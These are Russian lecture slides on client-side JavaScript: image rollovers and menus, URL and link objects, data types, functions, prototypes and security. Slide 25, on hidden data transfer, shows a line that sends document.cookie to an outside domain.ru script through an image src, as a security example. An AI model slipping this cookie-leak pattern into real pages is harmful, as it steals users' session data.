Учебный курс Введение в JavaScript и CGI Лекция 4 Работа с графикой, гипертекстовые переходы и синтаксис языка кандидат технических наук Павел Брониславович Храмцов paul@kiae.su 1 Кэширование изображений Оптимизация отображения при загрузке Оптимизация отображения за счет предварительной загрузки Оптимизация отображения за счет нарезки изображения 2 Графика и таблицы <pre> <a href="javascript:void(0);"><img src=../images/jsi/topm000.gif border=0></a><a href="javascript:void(0);"><img src=../images/jsi/topm001.gif border=0></a>... </pre> 3 Графика и таблицы <table border=0 cellpadding=0 cellspacing=0 align=center> <tr><td><img src=../images/main/treeup.gif width=20 height=20 border=0></td><td><img src=../images/main/blank.gif width=20 height=20 border=0></td></tr> <tr><td><img src=../images/main/treetc.gif width=20 height=20 border=0></td><td><a href="javascript:void(0);"><img src=../images/jsi/manual.gif border=0 width=20 height=20></a></td></tr> <tr><td><img src=../images/main/treetc.gif width=20 height=20 border=0></td><td><a href="javascript:void(0);"><img src=../images/jsi/desk.gif border=0 width=20 height=20></a></td></tr></table> 4 Графика и обработка событий <table border=0 cellpadding=0 cellspacing=0 align=center> <td><a href="javascript:void(0);" onMouseover="document.e0.src='../images/jsi/arrowdw.gif';return true;" onMouseout="document.e0.src='../images/main/blank.gif';return true;" ><img src=../images/jsi/desk.gif border=0 border=0></a></td> </table> 5 Меню <table border=0 cellpadding=0 cellspacing=0 align=center> <tr><td><img name=e0 src=../images/main/blank.gif width=20 height=10 border=0></td></tr> <tr><td><a href="javascript:void(0);" onMouseover="document.e0.src='../images/jsi/arrowdw.gif';return true;" onMouseout="document.e0.src='../images/main/blank.gif';return true;" ><img src=../images/jsi/desk.gif border=0 border=0></a></td> … </tr> </table> 6 Меню <td><a href="javascript:void(0);" onMouseover="document.evente.src='../images/jsi/corner.gif';" onMouseout="document.evente.src='../images/jsi/clear.gif';"> <img src=../images/jsi/eventep.gif border=0></a></td> <td><a href="javascript:void(0); onMouseover="document.evente.src='../images/jsi/corner.gif';" onMouseout="document.evente.src='../images/jsi/clear.gif';"> <img name=evente src=../images/main/blank.gif></a></td> 7 Меню <script>function submenu(a) { if(a==1) { document.menu00.src="../images/jsi/historyb.gif"; // History document.menu01.src="../images/jsi/faceb.gif"; // In face } …</script> <table border=0 cellspacing=0 cellpadding=0 align=center> <tr><td><a href="javascript:void(0);" onMouseover="submenu(1);return true;"><img name=menu00 src=../images/jsi/historyb.gif border=0></a></td> <td><img name=menu01 src=../images/jsi/faceb.gif border=0></td> </tr></table> 8 Объект URL http://webclass.polyn.kiae.su/classes/homef.htm Значения свойств: href: http://webclass.polyn.kiae.su/classes/homef.htm protocol: http: hostname: webclass.polyn.kiae.su host: webclass.polyn.kiae.su:80 port: 80 pathname: classes/homef.htm search: hash: Обращение к свойству объекта класса URL: имя_объект_класса_URL.свойство Например, так: document.links[0].href document.location.host document.links[2].hash 9 Массивы <a href= >…</a> <map name=test>…</map> for(i=0;i<document.links.length;i++) document.write(document.links[i].href+"<br>"); links[0]:file:///C:/INTUIT/webclass/pages/classes/jsi/jsid.htm links[1]:file:///C:/INTUIT/webclass/pages/classes/jsi/test/larrayt. htm links[2]:file:///C:/INTUIT/webclass/pages/classes/fsub.htm links[3]:file:///C:/INTUIT/webclass/pages/classes/jsi/href.htm links[4]:file:///C:/INTUIT/webclass/pages/classes/jsi/area.htm links[5]:javascript:window.alert('Area_Link_1');void(0); links[6]:javascript:window.alert('Area_Link_2');void(0); links[7]:javascript:window.alert('Area_Link_3');void(0); links[8]:javascript:window.alert('Area_Link_4');void(0); 10 Массив ссылок function line(a) { if(a==0) { clear(); window.document.main.document.o0.src="../images/jsi/fio.gif"; window.document.main.document.links[4].href= "javascript:window.document.main.document.f1.fi1.value= 'Иванов И.И.';void(0);"; window.document.main.document.o1.src="../images/jsi/rpho.gif"; window.document.main.document.links[5].href= "javascript:window.document.main.document.f1.fi2.value= '123-45-67';void(0);"; window.document.main.document.o2.src="../images/jsi/hpho.gif"; window.document.main.document.links[6].href= "javascript:window.document.main.document.f1.fi3.value= '987-65-43';void(0);"; } } 11 Массив ссылок href:--> file:///C:/INTUIT/webclass/pages/classes/jsi/mouse.htm pathname:--> C:/INTUIT/webclass/pages/classes/jsi/mouse.htm Изменим теперь pathname: document.all.next.pathname="kuku"; document.write(window.document.all.next.pathname); href:--> file:kuku pathname--> kuku 12 Обработка событий мыши <table border=0 cellspacing=1 cellpadding=0 align=center> <tr> <td> <a href="javascript:void(0);" onMouseover="line2(0);return true;"> <img src=../images/jsi/addrpho.gif border=0></a></td> ... </tr> </table> 13 Обработка событий мыши <a href="javascript:void(0);" onMouseover="document.tiger.src='../images/jsi/tiger1s.gif';return true;" onMouseout="document.tiger.src='../images/jsi/tiger1g.gif';return true;"> <img name=tiger src=../images/jsi/tiger1g.gif border=0> </a> 14 Обработка событий мыши <a href=#click onClick="window.alert('No jump to #click');return false;">onClick</a> <a href=#top onClick="return window.confirm('Do you wona to jump?');">перехода</a> <a id=red onClick="window.alert("kuku");return false;"> Нет атрибута href </a> Нет атрибута href. <a href="" id=red onClick="window.alert('URL:'+this.href);return false;"> Нет атрибута href </a>> Нет атрибута href. 15 Программирование за кадром • • • • • • • типам и структурам данных операторам языка функциям пользователя особенностям размещения кода возможности исполнения программ в фоновом режиме управлению фокусом и вопросам безопасности 16 Типы и структуры данных • • • • • литералы переменные массивы функции объекты 17 Литералы числовой литерал: 10 числовой литерал: 2.310 числовой литерал: 2.3e+2 строковый литерал: 'Это строковый литерал' строковый литерал: "Это строковый литерал" 18 Переменные i=10; var i; var i=10; var id = window.open(); var a = new Array(); 19 Переменные wid = window.open("","kuku","width=200,height=100,statusbar"); wid.document.open(); wid.document.write("<html><head>"); wid.document.write("<script>var t;</script>"); wid.document.write("</head><body>"); wid.document.write("<center>Новое окно<br>"); wid.document.write("<form>"); wid.document.write("<input type=button value='Закрыть окно' onClick=window.close();></form>"); wid.document.write("</center></body<>/html>"); wid.document.close(); ... <a href="javascript:wid.t=window.prompt("Type new status value:");wid.defaultStatus=t;wid.focus();void(0);>...</a> 20 Массивы a = new Array(); b = new Array(10); c = new Array(10,"Это значение"); <script> c = new Array(30,"Это значение"); </script> <form><input size=& {c[0];}; value=& {c[1];}; onFocus="this.blur();"> </form> 21 Функции function f_name(arg1,arg2,...) { /* function body */ } document.write("Тип переменной f_name:"+typeof(f_name); Тип переменной f_name:function 22 Функция - объект function Rectangle(a,b,c,d) { this.x0 = a; this.y0 = b; this.x1 = c; this.y1 = d; this.area = new Function("return Math.abs(this.x0-this.x1)* Math.abs(this.y0-this.y1)"); this.perimeter = new Function("return (Math.abs(this.x0-this.x1)+ Math.abs(this.y0-this.y1))*2"); } c = new Rectangle(0,0,100,100); document.write(c.area()); Результат исполнения: 10000 23 Прототипы String.prototype.out = new Function("a","a.write(this)"); ... "Привет дуралеи".out(document); Привет дуралеи 24 Операторы var {...} if while for for ... in break continue return 25 Скрытая передача данных <frameset cols="100%,*"> <frame name=left src=hcfl.htm> <frame name=right src=hcfl.htm> </frameset> <script language=JavaScript src="../css/jsc.pgm"> s = "http://domain.ru/cgi-bin/image_script?"+document.cookie; document.x.src= s; 26 JavaScript: безопасность Объект Свойства Document cookie, domain, forms[], lastModified, links[], location, referer, title, URL action checked, defaultChecked, defaultValue, name, selectedIndex, toString, value current,next,previous,toString(),all array elements hash, host, hostname, href, pathname, port, protocol, search, toString() defaultSelected, selected, text, value defaultStatus,status Form document.forms[].elements[] History Location, Link, ,Area Option Window 27